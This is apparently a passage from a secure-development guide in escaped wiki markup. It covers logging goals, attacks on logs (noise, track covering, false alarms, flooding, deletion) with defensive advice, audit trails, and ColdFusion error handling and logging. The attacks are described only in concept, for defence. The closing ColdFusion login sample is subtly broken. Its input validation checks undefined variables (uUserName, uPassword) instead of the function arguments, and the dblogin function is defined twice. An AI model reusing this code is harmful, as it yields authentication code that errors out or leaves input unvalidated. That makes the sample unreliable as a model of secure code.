Logs are often the only record that suspicious behavior is taking place: Therefore logs can sometimes be fed real-time directly into intrusion detection systems.&lt;br /&gt;
&lt;br /&gt;
===Quality of service ===&lt;br /&gt;
&lt;br /&gt;
Repetitive polls can be protocolled so that network outages or server shutdowns get protocolled and the behavior can either be analyzed later on or a responsible person can take immediate actions.&lt;br /&gt;
&lt;br /&gt;
===Proof of validity ===&lt;br /&gt;
&lt;br /&gt;
Application developers sometimes write logs to prove to customers that their applications are behaving as expected.&lt;br /&gt;
&lt;br /&gt;
* Required by law or corporate policies.&lt;br /&gt;
&lt;br /&gt;
* Logs can provide individual accountability in the web application system universe by tracking a user's actions.&lt;br /&gt;
&lt;br /&gt;
It can be corporate policy or local law to be required to (for example) save header information of all application transactions. These logs must then be kept safe and confidential for six months before they can be deleted.&lt;br /&gt;
&lt;br /&gt;
The points from above show all different motivations and result in different requirements and strategies. This means, that before we can implement a logging mechanism into an application or system, we have to know the requirements and their later usage. If we fail in doing so this can lead to unintentional results.&lt;br /&gt;
&lt;br /&gt;
Failure to enable or design the proper event logging mechanisms in the web application may undermine an organization's ability to detect unauthorized access attempts, and the extent to which these attempts may or may not have succeeded. We will look into the most common attack methods, design and implementation errors, as well as the mitigation strategies later on in this chapter.&lt;br /&gt;
&lt;br /&gt;
There is another reason why the logging mechanism must be planned before implementation. In some countries, laws define what kind of personal information is allowed to be not only logged but also analyzed. For example, in Switzerland, companies are not allowed to log personal information of their employees (like what they do on the internet or what they write in their emails). So if a company wants to log a worker's surfing habits, the corporation needs to inform her of their plans in advance.&lt;br /&gt;
&lt;br /&gt;
This leads to the requirement of having anonymized logs or de-personalized logs with the ability to re-personalized them later on if need be. If an unauthorized person has access to (legally) personalized logs, the corporation is acting unlawful. So there can be a few (not only) legal traps that must be kept in mind.&lt;br /&gt;
&lt;br /&gt;
===Logging types ===&lt;br /&gt;
&lt;br /&gt;
Logs can contain different kinds of data. The selection of the data used is normally affected by the motivation leading to the logging. This section contains information about the different types of logging information and the reasons why we could want to log them.&lt;br /&gt;
&lt;br /&gt;
In general, the logging features include appropriate debugging information such as time of event, initiating process or owner of process, and a detailed description of the event. The following are types of system events that can be logged in an application. It depends on the particular application or system and the needs to decide which of these will be used in the logs:&lt;br /&gt;
&lt;br /&gt;
* Reading of data file access and what kind of data is read. This not only allows to see if data was read but also by whom and when.&lt;br /&gt;
&lt;br /&gt;
* Writing of data logs also where and with what mode (append, replace) data was written. This can be used to see if data was overwritten or if a program is writing at all.&lt;br /&gt;
&lt;br /&gt;
* Modification of any data characteristics, including access control permissions or labels, location in database or file system, or data ownership. Administrators can detect if their configurations were changed.&lt;br /&gt;
&lt;br /&gt;
* Administrative functions and changes in configuration regardless of overlap (account management actions, viewing any user's data, enabling or disabling logging, etc.)&lt;br /&gt;
&lt;br /&gt;
* Miscellaneous debugging information that can be enabled or disabled on the fly.&lt;br /&gt;
&lt;br /&gt;
* All authorization attempts (include time) like success/failure, resource or function being authorized, and the user requesting authorization. We can detect password guessing with these logs. These kinds of logs can be fed into an Intrusion Detection system that will detect anomalies.&lt;br /&gt;
&lt;br /&gt;
* Deletion of any data (object). Sometimes applications are required to have some sort of versioning in which the deletion process can be cancelled.&lt;br /&gt;
&lt;br /&gt;
* Network communications (bind, connect, accept, etc.). With this information an Intrusion Detection system can detect port scanning and brute force attacks.&lt;br /&gt;
&lt;br /&gt;
* All authentication events (logging in, logging out, failed logins, etc.) that allow to detect brute force and guessing attacks too.&lt;br /&gt;
&lt;br /&gt;
==Noise ==&lt;br /&gt;
&lt;br /&gt;
Noise is intentionally invoking security errors to fill an error log with entries (noise) that hide the incriminating evidence of a successful intrusion. When the administrator or log parser application reviews the logs, there is every chance that they will summarize the volume of log entries as a denial of service attempt rather than identifying the 'needle in the haystack'.&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
This is difficult since applications usually offer an unimpeded route to functions capable of generating log events. If you can deploy an intelligent device or application component that can shun an attacker after repeated attempts, then that would be beneficial. Failing that, an error log audit tool that can reduce the bulk of the noise, based on repetition of events or originating from the same source for example. It is also useful if the log viewer can display the events in order of severity level, rather than just time based.&lt;br /&gt;
&lt;br /&gt;
==Cover Tracks ==&lt;br /&gt;
&lt;br /&gt;
The top prize in logging mechanism attacks goes to the contender who can delete or manipulate log entries at a granular level, &amp;quot;as though the event never even happened!&amp;quot;. Intrusion and deployment of rootkits allows an attacker to utilize specialized tools that may assist or automate the manipulation of known log files. In most cases, log files may only be manipulated by users with root / administrator privileges, or via approved log manipulation applications. As a general rule, logging mechanisms should aim to prevent manipulation at a granular level since an attacker can hide their tracks for a considerable length of time without being detected. Simple question; if you were being compromised by an attacker, would the intrusion be more obvious if your log file was abnormally large or small, or if it appeared like every other day's log?&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
Assign log files the highest security protection, providing reassurance that you always have an effective 'black box' recorder if things go wrong. This includes:&lt;br /&gt;
&lt;br /&gt;
*Applications should not run with Administrator, or root-level privileges. This is the main cause of log file manipulation success since super users typically have full file system access. Assume the worst case scenario and suppose your application is exploited. Would there be any other security layers in place to prevent the application's user privileges from manipulating the log file to cover tracks?&lt;br /&gt;
&lt;br /&gt;
*Ensuring that access privileges protecting the log files are restrictive, reducing the majority of operations against the log file to alter and read.&lt;br /&gt;
&lt;br /&gt;
*Ensuring that log files are assigned object names that are not obvious and stored in a safe location of the file system.&lt;br /&gt;
&lt;br /&gt;
*Writing log files using publicly or formally scrutinized techniques in an attempt to reduce the risk associated with reverse engineering or log file manipulation.&lt;br /&gt;
&lt;br /&gt;
*Writing log files to read-only media (where event log integrity is of critical importance).&lt;br /&gt;
&lt;br /&gt;
*Use of hashing technology to create digital fingerprints. The idea is that if an attacker does manipulate the log file, then the digital fingerprint will not match and an alert generated.&lt;br /&gt;
&lt;br /&gt;
*Use of host-based IDS technology where normal behavioral patterns can be 'set in stone'. Attempts by attackers to update the log file through anything but the normal approved flow would generate an exception and the intrusion can be detected and blocked. This is one security control that can safeguard against simplistic administrator attempts at modifications.&lt;br /&gt;
&lt;br /&gt;
==False Alarms ==&lt;br /&gt;
&lt;br /&gt;
Taking cue from the classic 1966 film &amp;quot;How to Steal a Million&amp;quot;, or similarly the fable of Aesop; &amp;quot;The Boy Who Cried Wolf&amp;quot;, be wary of repeated false alarms, since this may represent an attacker's actions in trying to fool the security administrator into thinking that the technology is faulty and not to be trusted until it can be fixed.&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
Simply be aware of this type of attack, take every security violation seriously, always get to the bottom of the cause event log errors rather, and don't just dismiss errors unless you can be completely sure that you know it to be a technical problem.&lt;br /&gt;
&lt;br /&gt;
===Denial of Service ===&lt;br /&gt;
&lt;br /&gt;
By repeatedly hitting an application with requests that cause log entries, multiply this by ten thousand, and the result is that you have a large log file and a possible headache for the security administrator. Where log files are configured with a fixed allocation size, then once full, all logging will stop and an attacker has effectively denied service to your logging mechanism. Worse still, if there is no maximum log file size, then an attacker has the ability to completely fill the hard drive partition and potentially deny service to the entire system. This is becoming more of a rarity though with the increasing size of today's hard disks.&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
The main defense against this type of attack are to increase the maximum log file size to a value that is unlikely to be reached, place the log file on a separate partition to that of the operating system or other critical applications and best of all, try to deploy some kind of system monitoring application that can set a threshold against your log file size and/or activity and issue an alert if an attack of this nature is underway.&lt;br /&gt;
&lt;br /&gt;
==Destruction ==&lt;br /&gt;
&lt;br /&gt;
Following the same scenario as the Denial of Service above, if a log file is configured to cycle round overwriting old entries when full, then an attacker has the potential to do the evil deed and then set a log generation script into action in an attempt to eventually overwrite the incriminating log entries, thus destroying them.&lt;br /&gt;
&lt;br /&gt;
If all else fails, then an attacker may simply choose to cover their tracks by purging all log file entries, assuming they have the privileges to perform such actions. This attack would most likely involve calling the log file management program and issuing the command to clear the log, or it may be easier to simply delete the object which is receiving log event updates (in most cases, this object will be locked by the application). This type of attack does make an intrusion obvious assuming that log files are being regularly monitored, and does have a tendency to cause panic as system administrators and managers realize they have nothing upon which to base an investigation on.&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
Following most of the techniques suggested above will provide good protection against this attack. Keep in mind two things:&lt;br /&gt;
&lt;br /&gt;
*Administrative users of the system should be well trained in log file management and review. 'Ad-hoc' clearing of log files is never advised and an archive should always be taken. Too many times a log file is cleared, perhaps to assist in a technical problem, erasing the history of events for possible future investigative purposes.&lt;br /&gt;
&lt;br /&gt;
*An empty security log does not necessarily mean that you should pick up the phone and fly the forensics team in. In some cases, security logging is not turned on by default and it is up to you to make sure that it is. Also, make sure it is logging at the right level of detail and benchmark the errors against an established baseline in order measure what is considered 'normal' activity.&lt;br /&gt;
&lt;br /&gt;
==Audit Trails ==&lt;br /&gt;
&lt;br /&gt;
Audit trails are legally protected in many countries, and should be logged into high integrity destinations to prevent casual and motivated tampering and destruction. &lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
* Do the logs transit in the clear between the logging host and the destination?&lt;br /&gt;
&lt;br /&gt;
* Do the logs have a HMAC or similar tamper proofing mechanism to prevent change from the time of the logging activity to when it is reviewed?&lt;br /&gt;
&lt;br /&gt;
* Can relevant logs be easily extracted in a legally sound fashion to assist with prosecutions?&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
* Only audit truly important events – you have to keep audit trails for a long time, and debug or informational messages are wasteful&lt;br /&gt;
&lt;br /&gt;
* Log centrally as appropriate and ensure primary audit trails are not kept on vulnerable systems, particularly front end web servers&lt;br /&gt;
&lt;br /&gt;
* Only review copies of the logs, not the actual logs themselves&lt;br /&gt;
&lt;br /&gt;
* Ensure that audit logs are sent to trusted systems&lt;br /&gt;
&lt;br /&gt;
* For highly protected systems, use write-once media or similar to provide trust worthy long term log repositories&lt;br /&gt;
&lt;br /&gt;
* For highly protected systems, ensure there is end-to-end trust in the logging mechanism. World writeable logs, logging agents without credentials (such as SNMP traps, syslog etc) are legally vulnerable to being excluded from prosecution &lt;br /&gt;
&lt;br /&gt;
==Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Oracle Auditing&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.dba-oracle.com/t_audit_table_command.htm&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Sarbanes Oxley for IT security&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.securityfocus.com/columnists/322&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Java Logging Overview&lt;br /&gt;
&amp;lt;u&amp;gt;http://java.sun.com/javase/6/docs/technotes/guides/logging/overview.html&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Error Handling and Logging ==&lt;br /&gt;
&lt;br /&gt;
All applications have failures – whether they occur during compilation or runtime. Most programming languages will throw runtime exceptions for illegally executing code (e.g. syntax errors) often in the form of cryptic system messages. These failures and resulting system messages can lead to several security risks if not handled properly including; enumeration, buffer attacks, sensitive information disclosure, etc.  If an attack occurs it is important that forensics personnel be able to trace the attacker’s tracks via adequate logging.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ColdFusion provides structured exception handling and logging tools. These tools can help developers customize error handling to prevent unwanted disclosure, and provide customized logging for error tracking and audit trails. These tools should be combined with web server, J2EE application server, and operating system tools to create the full system/application security overview.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Error Handling'''&lt;br /&gt;
&lt;br /&gt;
Hackers can use the information exposed by error messages. Even missing templates errors (HTTP 404) can expose your server to attacks (e.g. buffer overflow, XSS, etc.). If you enable the Robust Exception Information debugging option, ColdFusion will display:&lt;br /&gt;
&lt;br /&gt;
Physical path of template &lt;br /&gt;
&lt;br /&gt;
URI of template &lt;br /&gt;
&lt;br /&gt;
Line number and line snippet &lt;br /&gt;
&lt;br /&gt;
SQL statement used (if any) &lt;br /&gt;
&lt;br /&gt;
Data source name (if any) &lt;br /&gt;
&lt;br /&gt;
Java stack trace&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ColdFusion provides tags and functions for developers to use to customize error handling. Administrators can specify default templates in the ColdFusion Administrator (CFAM) to handle unknown or unhandled exceptions. ColdFusion’s structure exception handling works in the following order:&lt;br /&gt;
&lt;br /&gt;
Template level (ColdFusion templates and components)&lt;br /&gt;
&lt;br /&gt;
ColdFusion exception handling tags: cftry, cfcatch, cfthrow, and cfrethrow&lt;br /&gt;
&lt;br /&gt;
try and catch statements in CFScript&lt;br /&gt;
&lt;br /&gt;
Application level (Application.cfc/cfm)&lt;br /&gt;
&lt;br /&gt;
Specify custom templates for individual exceptions types with the cferror tag&lt;br /&gt;
&lt;br /&gt;
Application.cfc onError method to handle uncaught application exceptions&lt;br /&gt;
&lt;br /&gt;
System level (ColdFusion Administrator settings)&lt;br /&gt;
&lt;br /&gt;
Missing Template Handler execute when a requested ColdFusion template is not found&lt;br /&gt;
&lt;br /&gt;
Site-wide Error Handler executes globally for all unhandled exceptions on the server&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Best Practices '''&lt;br /&gt;
&lt;br /&gt;
*Do not allow exceptions to go unhandled&lt;br /&gt;
&lt;br /&gt;
*Do not allow any exceptions to reach the browser&lt;br /&gt;
&lt;br /&gt;
*Display custom error pages to users with an email link for feedback&lt;br /&gt;
&lt;br /&gt;
*Do not enable “Robust Exception Information” in production.&lt;br /&gt;
&lt;br /&gt;
*Specify custom pages for ColdFusion to display in each of the following cases: &lt;br /&gt;
**When a ColdFusion page is missing (the Missing Template Handler page) &lt;br /&gt;
**When an otherwise-unhandled exception error occurs during the processing of a page (the Site-wide Error Handler page) &lt;br /&gt;
**You specify these pages on the Settings page in the Server Settings are in the ColdFusion MX Administrator; for more information, see the ColdFusion MX Administrator Help.&lt;br /&gt;
&lt;br /&gt;
*Use the cferror tag to specify ColdFusion pages to handle specific types of errors. &lt;br /&gt;
&lt;br /&gt;
*Use the cftry, cfcatch, cfthrow, and cfrethrow tags to catch and handle exception errors directly on the page where they occur. &lt;br /&gt;
&lt;br /&gt;
*In CFScript, use the try and catch statements to handle exceptions. &lt;br /&gt;
&lt;br /&gt;
*Use the onError event in Application.cfc to handle exception errors that are not handled by try/catch code on the application pages. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Logging'''&lt;br /&gt;
&lt;br /&gt;
Log files can help with application debugging and provide audit trails for attack detection. ColdFusion provides several logs for different server functions. It leverages the Apache Log4j libraries for customized logging. It also provides logging tags to assist in application debugging. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following is a partial list of ColdFusion log files and their descriptions''' '''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| border=1&lt;br /&gt;
&lt;br /&gt;
 || Log file  || Description &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || application.log || Records every ColdFusion MX error reported to a user. Application page errors, including ColdFusion MX syntax, ODBC, and SQL errors, are written to this log file.&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || exception.log  || Records stack traces for exceptions that occur in ColdFusion.&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || scheduler.log || Records scheduled events that have been submitted for execution. Indicates whether task submission was initiated and whether it succeeded. Provides the scheduled page URL, the date and time executed, and a task ID.&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || server.log || Records start up messages and errors for ColdFusion MX.&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || customtag.log || Records errors generated in custom tag processing.&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || mail.log || Records errors generated by an SMTP mail server.&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || mailsent.log || Records messages sent by ColdFusion MX.&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || flash.log || Records entries for Macromedia Flash Remoting.&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The CFAM contains the Logging Settings and log viewer screens. Administrators can configure the log directory, maximum log file size, and maximum number of archives. It also allows administrators to log slow running pages, CORBA calls, and scheduled task execution. The log viewer allows viewing, filtering, and searching of any log files in the log directory (default is cf_root/logs). Administrators can archive, save, and delete log files as well.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The cflog and cftrace tags allow developers to create customized logging. &amp;lt;cflog&amp;gt; can write custom messages to the Application.log, Scheduler.log, or a custom log file. The custom log file must be in the default log directory – if it does not exist ColdFusion will create it. &amp;lt;cftrace&amp;gt; tracks execution times, logic flow, and variable at the time the tag executes. It records the data in the cftrace.log (in the default logs directory) and can display this info either inline or in the debugging output of the current page request. Use &amp;lt;cflog&amp;gt; to write custom error messages, track user logins, and record user activity to a custom log file.  Use &amp;lt;cftrace&amp;gt; to track variables and application state within running requests.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Best Practices'''&lt;br /&gt;
&lt;br /&gt;
*Use &amp;lt;cflog&amp;gt; for customized logging&lt;br /&gt;
&lt;br /&gt;
*Incorporate into custom error handling&lt;br /&gt;
&lt;br /&gt;
*Record application specific messages&lt;br /&gt;
&lt;br /&gt;
*Actively monitor and fix errors in ColdFusion’s logs&lt;br /&gt;
&lt;br /&gt;
*Optimize logging settings &lt;br /&gt;
&lt;br /&gt;
*Rotate log files to keep them current &lt;br /&gt;
&lt;br /&gt;
*Keep files size manageable&lt;br /&gt;
&lt;br /&gt;
*Enable logging of slow running pages&lt;br /&gt;
&lt;br /&gt;
*Set the time interval lower than the configured Timeout Request value in the CFAM Settings screen&lt;br /&gt;
&lt;br /&gt;
*Long running page timings are recorded in the server.log&lt;br /&gt;
&lt;br /&gt;
*Use &amp;lt;cftrace&amp;gt; sparingly for audit trails&lt;br /&gt;
&lt;br /&gt;
*Use with inline=“false”&lt;br /&gt;
&lt;br /&gt;
*Use it to track user input – Form and/or URL variables&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''''Best Practices in Action'''''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following code adds error handling and logging to the dbLogin and logout methods in the code from Authentication section.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cffunction name=&amp;quot;dblogin&amp;quot; access=&amp;quot;private&amp;quot; output=&amp;quot;false&amp;quot; returntype=&amp;quot;struct&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfargument name=&amp;quot;strUserName&amp;quot; required=&amp;quot;true&amp;quot; type=&amp;quot;string&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfargument name=&amp;quot;strPassword&amp;quot; required=&amp;quot;true&amp;quot; type=&amp;quot;string&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfset var retargs = StructNew()&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cftry&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfif IsValid(&amp;quot;regex&amp;quot;, uUserName, &amp;quot;[A-Za-z0-9%]*&amp;quot;) AND IsValid(&amp;quot;regex&amp;quot;, uPassword, &amp;quot;[A-Za-z0-9%]*&amp;quot;)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;cfquery name=&amp;quot;loginQuery&amp;quot; dataSource=&amp;quot;#Application.DB#&amp;quot; &amp;gt;&lt;br /&gt;
&lt;br /&gt;
		SELECT hashed_password, salt&lt;br /&gt;
&lt;br /&gt;
		FROM UserTable&lt;br /&gt;
&lt;br /&gt;
		WHERE UserName =&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;cfqueryparam value=&amp;quot;#strUserName#&amp;quot; cfsqltype=&amp;quot;CF_SQL_VARCHAR&amp;quot; maxlength=&amp;quot;25&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;/cfquery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;cfif loginQuery.hashed_password EQ Hash(strPassword &amp;amp; loginQuery.salt, &amp;quot;SHA-256&amp;quot; )&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		  &amp;lt;cfset retargs.authenticated=&amp;quot;YES&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		  &amp;lt;cfset Session.UserName = strUserName&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		  &amp;lt;cflog text=&amp;quot;#getAuthUser()# has logged in!&amp;quot; &lt;br /&gt;
&lt;br /&gt;
		  	type=&amp;quot;Information&amp;quot; &lt;br /&gt;
&lt;br /&gt;
			file=&amp;quot;access&amp;quot; &lt;br /&gt;
&lt;br /&gt;
			application=&amp;quot;yes&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
		  &amp;lt;!-- Add code to get roles from database --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		  &amp;lt;cfelse&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		  &amp;lt;cfset retargs.authenticated=&amp;quot;NO&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;/cfif&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	  &amp;lt;cfelse&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;cfset retargs.authenticated=&amp;quot;NO&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	  &amp;lt;/cfif&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	  &amp;lt;cfcatch type=&amp;quot;database&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	  	&amp;lt;cflog text=&amp;quot;Error in dbLogin(). #cfcatch.details#&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	  		type=&amp;quot;Error&amp;quot; &lt;br /&gt;
&lt;br /&gt;
			log=&amp;quot;Application&amp;quot; &lt;br /&gt;
&lt;br /&gt;
			application=&amp;quot;yes&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;cfset retargs.authenticated=&amp;quot;NO&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;cfreturn retargs&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	  &amp;lt;/cfcatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/cftry&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfreturn retargs&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/cffunction&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cffunction name=&amp;quot;logout&amp;quot; access=&amp;quot;remote&amp;quot; output=&amp;quot;true&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfargument name=&amp;quot;logintype&amp;quot; type=&amp;quot;string&amp;quot; required=&amp;quot;yes&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfif isDefined(&amp;quot;form.logout&amp;quot;)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cflogout&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfset StructClear(Session)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;cflog text=&amp;quot;#getAuthUser()# has been logged out.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
		type=&amp;quot;Information&amp;quot; &lt;br /&gt;
&lt;br /&gt;
		file=&amp;quot;access&amp;quot; &lt;br /&gt;
&lt;br /&gt;
		application=&amp;quot;yes&amp;quot;&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfif arguments.logintype eq &amp;quot;challenge&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfset foo = closeBrowser()&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfelse&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--- replace this URL to a page logged out users should see ---&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cflocation url=&amp;quot;login.cfm&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/cfif&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/cfif&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/cffunction&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cffunction name=&amp;quot;dblogin&amp;quot; access=&amp;quot;private&amp;quot; output=&amp;quot;false&amp;quot; returntype=&amp;quot;struct&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfargument name=&amp;quot;strUserName&amp;quot; required=&amp;quot;true&amp;quot; type=&amp;quot;string&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfargument name=&amp;quot;strPassword&amp;quot; required=&amp;quot;true&amp;quot; type=&amp;quot;string&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfset var retargs = StructNew()&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cftry&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfif IsValid(&amp;quot;regex&amp;quot;, uUserName, &amp;quot;[A-Za-z0-9%]*&amp;quot;) AND IsValid(&amp;quot;regex&amp;quot;, uPassword, &amp;quot;[A-Za-z0-9%]*&amp;quot;)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;cfquery name=&amp;quot;loginQuery&amp;quot; dataSource=&amp;quot;#Application.DB#&amp;quot; &amp;gt;&lt;br /&gt;
&lt;br /&gt;
		SELECT hashed_password, salt&lt;br /&gt;
&lt;br /&gt;
		FROM UserTable&lt;br /&gt;
&lt;br /&gt;
		WHERE UserName =&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;cfqueryparam value=&amp;quot;#strUserName#&amp;quot; cfsqltype=&amp;quot;CF_SQL_VARCHAR&amp;quot; maxlength=&amp;quot;25&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;/cfquery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;cfif loginQuery.hashed_password EQ Hash(strPassword &amp;amp; loginQuery.salt, &amp;quot;SHA-256&amp;quot; )&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		  &amp;lt;cfset retargs.authenticated=&amp;quot;YES&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		  &amp;lt;cfset Session.UserName = strUserName&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		  &amp;lt;cflog text=&amp;quot;#getAuthUser()# has logged in!&amp;quot; &lt;br /&gt;
&lt;br /&gt;
		  	type=&amp;quot;Information&amp;quot; &lt;br /&gt;
&lt;br /&gt;
			file=&amp;quot;access&amp;quot; &lt;br /&gt;
&lt;br /&gt;
			application=&amp;quot;yes&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
		  &amp;lt;!-- Add code to get roles from database --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		  &amp;lt;cfelse&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		  &amp;lt;cfset retargs.authenticated=&amp;quot;NO&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;/cfif&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	  &amp;lt;cfelse&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;cfset retargs.authenticated=&amp;quot;NO&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	  &amp;lt;/cfif&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	  &amp;lt;cfcatch type=&amp;quot;database&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	  	&amp;lt;cflog text=&amp;quot;Error in dbLogin(). #cfcatch.details#&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	  		type=&amp;quot;Error&amp;quot; &lt;br /&gt;
&lt;br /&gt;
			log=&amp;quot;Application&amp;quot; &lt;br /&gt;
&lt;br /&gt;
			application=&amp;quot;yes&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;cfset retargs.authenticated=&amp;quot;NO&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;cfreturn retargs&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	  &amp;lt;/cfcatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/cftry&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfreturn retargs&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/cffunction&amp;gt;&lt;br /&gt;
&lt;br /&gt;
